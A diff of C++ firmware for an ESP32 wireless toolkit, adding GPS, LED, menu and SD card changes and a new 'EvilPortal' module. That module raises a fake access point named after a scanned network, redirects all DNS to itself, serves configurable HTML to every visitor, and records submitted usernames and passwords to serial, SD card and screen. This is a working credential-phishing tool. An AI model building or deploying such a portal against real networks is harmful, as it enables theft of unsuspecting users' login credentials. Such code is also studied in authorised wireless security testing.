this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from SSID list");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from SSID list: " + ap_config);
|
||||
}
|
||||
else if (temp_ap_name != "") {
|
||||
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
}
|
||||
else {
|
||||
ap_config = temp_ap_name;
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from AP list");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from AP list: " + ap_config);
|
||||
}
|
||||
}
|
||||
else {
|
||||
Serial.println("Could not configure Access Point. Use stopscan...");
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not configure Access Point.");
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
}
|
||||
|
||||
if (ap_config != "") {
|
||||
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
|
||||
this->has_ap = true;
|
||||
Serial.println("ap config set");
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
void EvilPortal::startAP() {
|
||||
Serial.print("starting ap ");
|
||||
Serial.println(apName);
|
||||
|
||||
WiFi.mode(WIFI_AP);
|
||||
WiFi.softAP(apName);
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP started");
|
||||
#endif
|
||||
|
||||
Serial.print("ap ip address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
this->setupServer();
|
||||
|
||||
this->dnsServer.start(53, "*", WiFi.softAPIP());
|
||||
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
|
||||
server.begin();
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Evil Portal READY");
|
||||
#endif
|
||||
}
|
||||
|
||||
void EvilPortal::startPortal() {
|
||||
// wait for flipper input to get config index
|
||||
this->startAP();
|
||||
|
||||
this->runServer = true;
|
||||
}
|
||||
|
||||
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
|
||||
len = str.length(); // Obtain the length of the string
|
||||
|
||||
buf = new uint8_t[len]; // Dynamically allocate the buffer
|
||||
|
||||
// Copy each character from the string to the buffer
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
buf[i] = static_cast<uint8_t>(str.charAt(i));
|
||||
}
|
||||
}
|
||||
|
||||
void EvilPortal::addLog(String log, int len) {
|
||||
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||
if (save_packet) {
|
||||
uint8_t* logBuffer = nullptr;
|
||||
uint32_t logLength = 0;
|
||||
this->convertStringToUint8Array(log, logBuffer, logLength);
|
||||
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.addPacket(logBuffer, logLength, true);
|
||||
delete[] logBuffer;
|
||||
#elif defined(HAS_SD)
|
||||
sd_obj.addPacket(logBuffer, logLength, true);
|
||||
delete[] logBuffer;
|
||||
#else
|
||||
delete[] logBuffer;
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void EvilPortal::sendToDisplay(String msg) {
|
||||
#ifdef HAS_SCREEN
|
||||
String display_string = "";
|
||||
display_string.concat(msg);
|
||||
int temp_len = display_string.length();
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
#endif
|
||||
}
|
||||
|
||||
void EvilPortal::main(uint8_t scan_mode) {
|
||||
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
|
||||
this->dnsServer.processNextRequest();
|
||||
if (this->name_received && this->password_received) {
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
String logValue1 =
|
||||
"u: " + this->user_name;
|
||||
String logValue2 = "p: " + this->password;
|
||||
String full_string = logValue1 + " " + logValue2 + "\n";
|
||||
Serial.print(full_string);
|
||||
this->addLog(full_string, full_string.length());
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay(full_string);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
112
esp32_marauder/EvilPortal.h
Normal file
112
esp32_marauder/EvilPortal.h
Normal file
@@ -0,0 +1,112 @@
|
||||
#ifndef EvilPortal_h
|
||||
#define EvilPortal_h
|
||||
|
||||
#include "ESPAsyncWebServer.h"
|
||||
#include <AsyncTCP.h>
|
||||
#include <DNSServer.h>
|
||||
|
||||
#include "configs.h"
|
||||
#include "settings.h"
|
||||
#ifdef HAS_SCREEN
|
||||
#include "Display.h"
|
||||
#include <LinkedList.h>
|
||||
#endif
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
#include "SDInterface.h"
|
||||
#else
|
||||
#include "Buffer.h"
|
||||
#endif
|
||||
#include "lang_var.h"
|
||||
|
||||
extern Settings settings_obj;
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
extern SDInterface sd_obj;
|
||||
#endif
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
extern Buffer buffer_obj;
|
||||
|
||||
#define WAITING 0
|
||||
#define GOOD 1
|
||||
#define BAD 2
|
||||
|
||||
#define SET_HTML_CMD "sethtml="
|
||||
#define SET_AP_CMD "setap="
|
||||
#define RESET_CMD "reset"
|
||||
#define START_CMD "start"
|
||||
#define ACK_CMD "ack"
|
||||
#define MAX_AP_NAME_SIZE 30
|
||||
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||
|
||||
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
|
||||
char index_html[MAX_HTML_SIZE] = "TEST";
|
||||
|
||||
struct ssid {
|
||||
String essid;
|
||||
uint8_t channel;
|
||||
uint8_t bssid[6];
|
||||
bool selected;
|
||||
};
|
||||
|
||||
struct AccessPoint {
|
||||
String essid;
|
||||
uint8_t channel;
|
||||
uint8_t bssid[6];
|
||||
bool selected;
|
||||
LinkedList<char>* beacon;
|
||||
char rssi;
|
||||
LinkedList<uint8_t>* stations;
|
||||
};
|
||||
|
||||
class CaptiveRequestHandler : public AsyncWebHandler {
|
||||
public:
|
||||
CaptiveRequestHandler() {}
|
||||
virtual ~CaptiveRequestHandler() {}
|
||||
|
||||
bool canHandle(AsyncWebServerRequest *request) { return true; }
|
||||
|
||||
void handleRequest(AsyncWebServerRequest *request) {
|
||||
request->send_P(200, "text/html", index_html);
|
||||
}
|
||||
};
|
||||
|
||||
class EvilPortal {
|
||||
|
||||
private:
|
||||
bool runServer;
|
||||
bool name_received;
|
||||
bool password_received;
|
||||
|
||||
String user_name;
|
||||
String password;
|
||||
|
||||
bool has_html;
|
||||
bool has_ap;
|
||||
|
||||
DNSServer dnsServer;
|
||||
|
||||
void (*resetFunction)(void) = 0;
|
||||
|
||||
bool setHtml();
|
||||
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void setupServer();
|
||||
void startPortal();
|
||||
void startAP();
|
||||
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
|
||||
void sendToDisplay(String msg);
|
||||
|
||||
public:
|
||||
EvilPortal();
|
||||
|
||||
String target_html_name = "index.html";
|
||||
|
||||
String get_user_name();
|
||||
String get_password();
|
||||
void addLog(String log, int len);
|
||||
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void main(uint8_t scan_mode);
|
||||
|
||||
};
|
||||
|
||||
#endif
|
||||
134
esp32_marauder/GpsInterface.cpp
Normal file
134
esp32_marauder/GpsInterface.cpp
Normal file
@@ -0,0 +1,134 @@
|
||||
#include "GpsInterface.h"
|
||||
|
||||
#ifdef HAS_GPS
|
||||
|
||||
char nmeaBuffer[100];
|
||||
|
||||
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
|
||||
|
||||
#ifndef GPS_SOFTWARE_SERIAL
|
||||
HardwareSerial Serial2(GPS_SERIAL_INDEX);
|
||||
#else
|
||||
EspSoftwareSerial::UART Serial2;
|
||||
#endif
|
||||
|
||||
void GpsInterface::begin() {
|
||||
|
||||
#ifndef GPS_SOFTWARE_SERIAL
|
||||
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
|
||||
#else
|
||||
Serial2.begin(9600, SWSERIAL_8N1, GPS_TX, GPS_RX);
|
||||
#endif
|
||||
|
||||
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
|
||||
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
|
||||
|
||||
MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
|
||||
|
||||
delay(4000);
|
||||
|
||||
if (Serial2.available()) {
|
||||
Serial.println("GPS Attached Successfully");
|
||||
this->gps_enabled = true;
|
||||
while (Serial2.available())
|
||||
Serial2.read();
|
||||
}
|
||||
}
|
||||
|
||||
// Thanks JosephHewitt
|
||||
String GpsInterface::dt_string_from_gps(){
|
||||
//Return a datetime String using GPS data only.
|
||||
String datetime = "";
|
||||
if (nmea.isValid() && nmea.getYear() > 0){
|
||||
datetime += nmea.getYear();
|
||||
datetime += "-";
|
||||
datetime += nmea.getMonth();
|
||||
datetime += "-";
|
||||
datetime += nmea.getDay();
|
||||
datetime += " ";
|
||||
datetime += nmea.getHour();
|
||||
datetime += ":";
|
||||
datetime += nmea.getMinute();
|
||||
datetime += ":";
|
||||
datetime += nmea.getSecond();
|
||||
}
|
||||
return datetime;
|
||||
}
|
||||
|
||||
void GpsInterface::setGPSInfo() {
|
||||
this->good_fix = nmea.isValid();
|
||||
this->num_sats = nmea.getNumSatellites();
|
||||
|
||||
this->datetime = this->dt_string_from_gps();
|
||||
|
||||
this->lat = String((float)nmea.getLatitude()/1000000, 7);
|
||||
this->lon = String((float)nmea.getLongitude()/1000000, 7);
|
||||
long alt = 0;
|
||||
if (!nmea.getAltitude(alt)){
|
||||
alt = 0;
|
||||
}
|
||||
this->altf = (float)alt / 1000;
|
||||
|
||||
this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
|
||||
|
||||
//nmea.clear();
|
||||
}
|
||||
|
||||
float GpsInterface::getAccuracy() {
|
||||
return this->accuracy;
|
||||
}
|
||||
|
||||
String GpsInterface::getLat() {
|
||||
return this->lat;
|
||||
}
|
||||
|
||||
String GpsInterface::getLon() {
|
||||
return this->lon;
|
||||
}
|
||||
|
||||
float GpsInterface::getAlt() {
|
||||
return this->altf;
|
||||
}
|
||||
|
||||
String GpsInterface::getDatetime() {
|
||||
return this->datetime;
|
||||
}
|
||||
|
||||
String GpsInterface::getNumSatsString() {
|
||||
return (String)num_sats;
|
||||
}
|
||||
|
||||
bool GpsInterface::getFixStatus() {
|
||||
return this->good_fix;
|
||||
}
|
||||
|
||||
String GpsInterface::getFixStatusAsString() {
|
||||
if (this->getFixStatus())
|
||||
return "Yes";
|
||||
else
|
||||
return "No";
|
||||
}
|
||||
|
||||
bool GpsInterface::getGpsModuleStatus() {
|
||||
return this->gps_enabled;
|
||||
}
|
||||
|
||||
void GpsInterface::main() {
|
||||
while (Serial2.available()) {
|
||||
//Fetch the character one by one
|
||||
char c = Serial2.read();
|
||||
//Serial.print(c);
|
||||
//Pass the character to the library
|
||||
nmea.process(c);
|
||||
}
|
||||
|
||||
uint8_t num_sat = nmea.getNumSatellites();
|
||||
|
||||
if ((nmea.isValid()) && (num_sat > 0))
|
||||
this->setGPSInfo();
|
||||
|
||||
else if ((!nmea.isValid()) && (num_sat <= 0)) {
|
||||
this->setGPSInfo();
|
||||
}
|
||||
}
|
||||
#endif
|
||||
40
esp32_marauder/GpsInterface.h
Normal file
40
esp32_marauder/GpsInterface.h
Normal file
@@ -0,0 +1,40 @@
|
||||
#ifndef GpsInterface_h
|
||||
#define GpsInterface_h
|
||||
|
||||
#include <MicroNMEA.h>
|
||||
#include <SoftwareSerial.h>
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
class GpsInterface {
|
||||
public:
|
||||
void begin();
|
||||
void main();
|
||||
|
||||
String getNumSatsString();
|
||||
bool getFixStatus();
|
||||
String getFixStatusAsString();
|
||||
bool getGpsModuleStatus();
|
||||
String getLat();
|
||||
String getLon();
|
||||
float getAlt();
|
||||
float getAccuracy();
|
||||
String getDatetime();
|
||||
|
||||
private:
|
||||
// GPS Info
|
||||
String lat = "";
|
||||
String lon = "";
|
||||
float altf = 0.0;
|
||||
float accuracy = 0.0;
|
||||
String datetime = "";
|
||||
|
||||
bool gps_enabled = false;
|
||||
bool good_fix = false;
|
||||
uint8_t num_sats = 0;
|
||||
|
||||
String dt_string_from_gps();
|
||||
void setGPSInfo();
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "LedInterface.h"
|
||||
|
||||
LedInterface::LedInterface() {
|
||||
|
||||
|
||||
}
|
||||
|
||||
void LedInterface::RunSetup() {
|
||||
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
|
||||
else if (this->current_mode == MODE_SNIFF) {
|
||||
this->sniffLed();
|
||||
}
|
||||
else if (this->current_mode == MODE_CUSTOM) {
|
||||
return;
|
||||
}
|
||||
else {
|
||||
this->ledOff();
|
||||
}
|
||||
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
|
||||
return this->current_mode;
|
||||
}
|
||||
|
||||
void LedInterface::setColor(int r, int g, int b) {
|
||||
strip.setPixelColor(0, strip.Color(r, g, b));
|
||||
strip.show();
|
||||
}
|
||||
|
||||
void LedInterface::sniffLed() {
|
||||
strip.setPixelColor(0, strip.Color(0, 0, 255));
|
||||
strip.show();
|
||||
this->setColor(0, 0, 255);
|
||||
}
|
||||
|
||||
void LedInterface::attackLed() {
|
||||
strip.setPixelColor(0, strip.Color(255, 0, 0));
|
||||
strip.show();
|
||||
this->setColor(255, 0, 0);
|
||||
}
|
||||
|
||||
void LedInterface::ledOff() {
|
||||
strip.setPixelColor(0, strip.Color(0, 0, 0));
|
||||
strip.show();
|
||||
this->setColor(0, 0, 0);
|
||||
}
|
||||
|
||||
void LedInterface::rainbow() {
|
||||
strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
|
||||
strip.show();
|
||||
|
||||
|
||||
this->current_fade_itter++;
|
||||
|
||||
this->wheel_pos = this->wheel_pos - this->wheel_speed;
|
||||
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
|
||||
}
|
||||
WheelPos -= 170;
|
||||
return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
|
||||
}
|
||||
}
|
||||
@@ -12,6 +12,7 @@
|
||||
#define MODE_RAINBOW 1
|
||||
#define MODE_ATTACK 2
|
||||
#define MODE_SNIFF 3
|
||||
#define MODE_CUSTOM 4
|
||||
|
||||
extern Settings settings_obj;
|
||||
extern Adafruit_NeoPixel strip;
|
||||
@@ -41,6 +42,7 @@ class LedInterface {
|
||||
void main(uint32_t currentTime);
|
||||
|
||||
void setMode(uint8_t);
|
||||
void setColor(int r, int g, int b);
|
||||
uint8_t getMode();
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -8,15 +8,11 @@
|
||||
#define BATTERY_ANALOG_ON 0
|
||||
|
||||
#include "WiFiScan.h"
|
||||
#include "Display.h"
|
||||
#include "BatteryInterface.h"
|
||||
#include "SDInterface.h"
|
||||
#include "Web.h"
|
||||
#include "esp_interface.h"
|
||||
#include "a32u4_interface.h"
|
||||
#include "settings.h"
|
||||
|
||||
#ifdef MARAUDER_MINI
|
||||
#ifdef HAS_BUTTONS
|
||||
#include <SwitchLib.h>
|
||||
extern SwitchLib u_btn;
|
||||
extern SwitchLib d_btn;
|
||||
@@ -25,13 +21,9 @@
|
||||
extern SwitchLib c_btn;
|
||||
#endif
|
||||
|
||||
extern Display display_obj;
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
extern Web web_obj;
|
||||
extern SDInterface sd_obj;
|
||||
extern BatteryInterface battery_obj;
|
||||
extern EspInterface esp_obj;
|
||||
extern A32u4Interface a32u4_obj;
|
||||
extern Settings settings_obj;
|
||||
|
||||
#define FLASH_BUTTON 0
|
||||
@@ -68,17 +60,15 @@ extern Settings settings_obj;
|
||||
#define STATUS_BAT 22
|
||||
#define STATUS_SD 23
|
||||
#define PWNAGOTCHI 24
|
||||
#define ESPRESSIF 25
|
||||
#define SHUTDOWN 26
|
||||
#define BEACON_LIST 27
|
||||
#define GENERATE 28
|
||||
#define CLEAR_ICO 29
|
||||
#define KEYBOARD_ICO 30
|
||||
#define JOIN_WIFI 31
|
||||
#define ESP_UPDATE_ICO 32
|
||||
#define BAD_USB_ICO 33
|
||||
#define TEST_BAD_USB_ICO 34
|
||||
#define LANGUAGE 35
|
||||
#define SHUTDOWN 25
|
||||
#define BEACON_LIST 26
|
||||
#define GENERATE 27
|
||||
#define CLEAR_ICO 28
|
||||
#define KEYBOARD_ICO 29
|
||||
#define JOIN_WIFI 30
|
||||
#define LANGUAGE 31
|
||||
#define STATUS_GPS 32
|
||||
#define GPS_MENU 33
|
||||
|
||||
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
|
||||
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
|
||||
@@ -87,15 +77,10 @@ PROGMEM static lv_disp_buf_t disp_buf;
|
||||
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
|
||||
|
||||
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
|
||||
PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
|
||||
PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
|
||||
PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
|
||||
PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
|
||||
PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
|
||||
PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
|
||||
|
||||
// lvgl stuff
|
||||
PROGMEM static lv_obj_t *kb;
|
||||
@@ -107,9 +92,9 @@ struct Menu;
|
||||
|
||||
struct MenuNode {
|
||||
String name;
|
||||
String command;
|
||||
bool command;
|
||||
uint16_t color;
|
||||
int icon;
|
||||
uint8_t icon;
|
||||
TFT_eSPI_Button* button;
|
||||
bool selected;
|
||||
std::function<void()> callable;
|
||||
@@ -131,8 +116,8 @@ class MenuFunctions
|
||||
String u_result = "";
|
||||
|
||||
uint32_t initTime = 0;
|
||||
uint8_t menu_start_index = 0;
|
||||
|
||||
//Menu* current_menu;
|
||||
|
||||
// Main menu stuff
|
||||
Menu mainMenu;
|
||||
@@ -140,14 +125,12 @@ class MenuFunctions
|
||||
Menu wifiMenu;
|
||||
Menu bluetoothMenu;
|
||||
Menu badusbMenu;
|
||||
Menu generalMenu;
|
||||
Menu deviceMenu;
|
||||
|
||||
// Device menu stuff
|
||||
Menu whichUpdateMenu;
|
||||
Menu failedUpdateMenu;
|
||||
Menu confirmMenu;
|
||||
Menu espUpdateMenu;
|
||||
Menu updateMenu;
|
||||
Menu settingsMenu;
|
||||
Menu specSettingMenu;
|
||||
@@ -162,11 +145,9 @@ class MenuFunctions
|
||||
|
||||
// Bluetooth menu stuff
|
||||
Menu bluetoothSnifferMenu;
|
||||
Menu bluetoothGeneralMenu;
|
||||
Menu bluetoothAttackMenu;
|
||||
|
||||
// Settings things menus
|
||||
Menu shutdownWiFiMenu;
|
||||
Menu shutdownBLEMenu;
|
||||
Menu generateSSIDsMenu;
|
||||
|
||||
static void lv_tick_handler();
|
||||
@@ -174,7 +155,6 @@ class MenuFunctions
|
||||
// Menu icons
|
||||
|
||||
|
||||
//TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
|
||||
|
||||
void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
|
||||
void updateStatusBar();
|
||||
@@ -184,8 +164,10 @@ class MenuFunctions
|
||||
String callSetting(String key);
|
||||
void runBoolSetting(String ley);
|
||||
void displaySetting(String key, Menu* menu, int index);
|
||||
void buttonSelected(uint8_t b);
|
||||
void buttonNotSelected(uint8_t b);
|
||||
void buttonSelected(uint8_t b, int8_t x = -1);
|
||||
void buttonNotSelected(uint8_t b, int8_t x = -1);
|
||||
|
||||
uint8_t updateTouch(uint16_t *x, uint16_t *y, uint16_t threshold = 600);
|
||||
|
||||
public:
|
||||
MenuFunctions();
|
||||
@@ -194,6 +176,11 @@ class MenuFunctions
|
||||
Menu clearSSIDsMenu;
|
||||
Menu clearAPsMenu;
|
||||
|
||||
#ifdef HAS_GPS
|
||||
// GPS Menu
|
||||
Menu gpsInfoMenu;
|
||||
#endif
|
||||
|
||||
Ticker tick;
|
||||
|
||||
uint16_t x = -1, y = -1;
|
||||
@@ -203,17 +190,13 @@ class MenuFunctions
|
||||
|
||||
void initLVGL();
|
||||
void deinitLVGL();
|
||||
void joinWiFiGFX();
|
||||
void addSSIDGFX();
|
||||
void addAPGFX();
|
||||
void addStationGFX();
|
||||
void displaySettingsGFX();
|
||||
void writeBadUSB();
|
||||
|
||||
void buildButtons(Menu* menu, int starting_index = 0);
|
||||
void changeMenu(Menu* menu);
|
||||
void drawStatusBar();
|
||||
void displayCurrentMenu();
|
||||
void displayCurrentMenu(uint8_t start_index = 0);
|
||||
void main(uint32_t currentTime);
|
||||
void RunSetup();
|
||||
void orientDisplay();
|
||||
|
||||
@@ -1,83 +1,147 @@
|
||||
#include "SDInterface.h"
|
||||
#include "lang_var.h"
|
||||
|
||||
bool SDInterface::initSD() {
|
||||
String display_string = "";
|
||||
|
||||
#ifdef KIT
|
||||
pinMode(SD_DET, INPUT);
|
||||
if (digitalRead(SD_DET) == LOW) {
|
||||
Serial.println(F("SD Card Detect Pin Detected"));
|
||||
}
|
||||
else {
|
||||
Serial.println(F("SD Card Detect Pin Not Detected"));
|
||||
bool SDInterface::initSD() {
|
||||
#ifdef HAS_SD
|
||||
String display_string = "";
|
||||
|
||||
#ifdef KIT
|
||||
pinMode(SD_DET, INPUT);
|
||||
if (digitalRead(SD_DET) == LOW) {
|
||||
Serial.println(F("SD Card Detect Pin Detected"));
|
||||
}
|
||||
else {
|
||||
Serial.println(F("SD Card Detect Pin Not Detected"));
|
||||
this->supported = false;
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
|
||||
delay(10);
|
||||
#if defined(MARAUDER_M5STICKC)
|
||||
/* Set up SPI SD Card using external pin header
|
||||
StickCPlus Header - SPI SD Card Reader
|
||||
3v3 - 3v3
|
||||
GND - GND
|
||||
G0 - CLK
|
||||
G36/G25 - MISO
|
||||
G26 - MOSI
|
||||
- CS (jumper to SD Card GND Pin)
|
||||
*/
|
||||
enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
|
||||
SPIClass SPI_EXT;
|
||||
SPI_EXT.begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
|
||||
if (!SD.begin(SD_CS, SPI_EXT)) {
|
||||
#else
|
||||
if (!SD.begin(SD_CS)) {
|
||||
#endif
|
||||
Serial.println(F("Failed to mount SD Card"));
|
||||
this->supported = false;
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
this->supported = true;
|
||||
this->cardType = SD.cardType();
|
||||
//if (cardType == CARD_MMC)
|
||||
// Serial.println(F("SD: MMC Mounted"));
|
||||
//else if(cardType == CARD_SD)
|
||||
// Serial.println(F("SD: SDSC Mounted"));
|
||||
//else if(cardType == CARD_SDHC)
|
||||
// Serial.println(F("SD: SDHC Mounted"));
|
||||
//else
|
||||
// Serial.println(F("SD: UNKNOWN Card Mounted"));
|
||||
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
|
||||
|
||||
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
|
||||
|
||||
delay(10);
|
||||
if (this->supported) {
|
||||
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
|
||||
|
||||
char sz[NUM_DIGITS + 1];
|
||||
|
||||
sz[NUM_DIGITS] = 0;
|
||||
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
|
||||
{
|
||||
sz[i] = '0' + (this->cardSizeMB % 10);
|
||||
display_string.concat((String)sz[i]);
|
||||
}
|
||||
|
||||
if (!SD.begin(SD_CS)) {
|
||||
Serial.println(F("Failed to mount SD Card"));
|
||||
this->supported = false;
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
this->supported = true;
|
||||
this->cardType = SD.cardType();
|
||||
//if (cardType == CARD_MMC)
|
||||
// Serial.println(F("SD: MMC Mounted"));
|
||||
//else if(cardType == CARD_SD)
|
||||
// Serial.println(F("SD: SDSC Mounted"));
|
||||
//else if(cardType == CARD_SDHC)
|
||||
// Serial.println(F("SD: SDHC Mounted"));
|
||||
//else
|
||||
// Serial.println(F("SD: UNKNOWN Card Mounted"));
|
||||
|
||||
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
|
||||
|
||||
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
|
||||
|
||||
if (this->supported) {
|
||||
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
|
||||
|
||||
char sz[NUM_DIGITS + 1];
|
||||
|
||||
sz[NUM_DIGITS] = 0;
|
||||
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
|
||||
{
|
||||
sz[i] = '0' + (this->cardSizeMB % 10);
|
||||
display_string.concat((String)sz[i]);
|
||||
this->card_sz = sz;
|
||||
}
|
||||
|
||||
this->card_sz = sz;
|
||||
}
|
||||
|
||||
buffer_obj = Buffer();
|
||||
buffer_obj = Buffer();
|
||||
|
||||
if (!SD.exists("/SCRIPTS")) {
|
||||
Serial.println("/SCRIPTS does not exist. Creating...");
|
||||
if (!SD.exists("/SCRIPTS")) {
|
||||
Serial.println("/SCRIPTS does not exist. Creating...");
|
||||
|
||||
SD.mkdir("/SCRIPTS");
|
||||
Serial.println("/SCRIPTS created");
|
||||
}
|
||||
SD.mkdir("/SCRIPTS");
|
||||
Serial.println("/SCRIPTS created");
|
||||
}
|
||||
|
||||
return true;
|
||||
return true;
|
||||
}
|
||||
|
||||
#else
|
||||
Serial.println("SD support disabled, skipping init");
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
File SDInterface::getFile(String path) {
|
||||
if (this->supported) {
|
||||
File file = SD.open(path, FILE_READ);
|
||||
|
||||
//if (file)
|
||||
return file;
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
|
||||
void SDInterface::listDir(String str_dir){
|
||||
if (this->supported) {
|
||||
File dir = SD.open(str_dir);
|
||||
while (true)
|
||||
{
|
||||
File entry = dir.openNextFile();
|
||||
if (! entry)
|
||||
{
|
||||
break;
|
||||
}
|
||||
//for (uint8_t i = 0; i < numTabs; i++)
|
||||
//{
|
||||
// Serial.print('\t');
|
||||
//}
|
||||
Serial.print(entry.name());
|
||||
Serial.print("\t");
|
||||
Serial.println(entry.size());
|
||||
entry.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
|
||||
if ((this->supported) && (this->do_save)) {
|
||||
buffer_obj.addPacket(buf, len);
|
||||
buffer_obj.addPacket(buf, len, log);
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::openCapture(String file_name) {
|
||||
if (this->supported)
|
||||
buffer_obj.open(&SD, file_name);
|
||||
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
|
||||
if ((this->supported) && (save_pcap)) {
|
||||
buffer_obj.createPcapFile(&SD, file_name);
|
||||
buffer_obj.open();
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::openLog(String file_name) {
|
||||
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
|
||||
if ((this->supported) && (save_pcap)) {
|
||||
buffer_obj.createPcapFile(&SD, file_name, true);
|
||||
buffer_obj.open(true);
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::runUpdate() {
|
||||
@@ -97,7 +161,7 @@ void SDInterface::runUpdate() {
|
||||
display_obj.tft.setTextColor(TFT_RED);
|
||||
display_obj.tft.println(F(text_table2[0]));
|
||||
#endif
|
||||
Serial.println(F("Error, update.bin is not a file"));
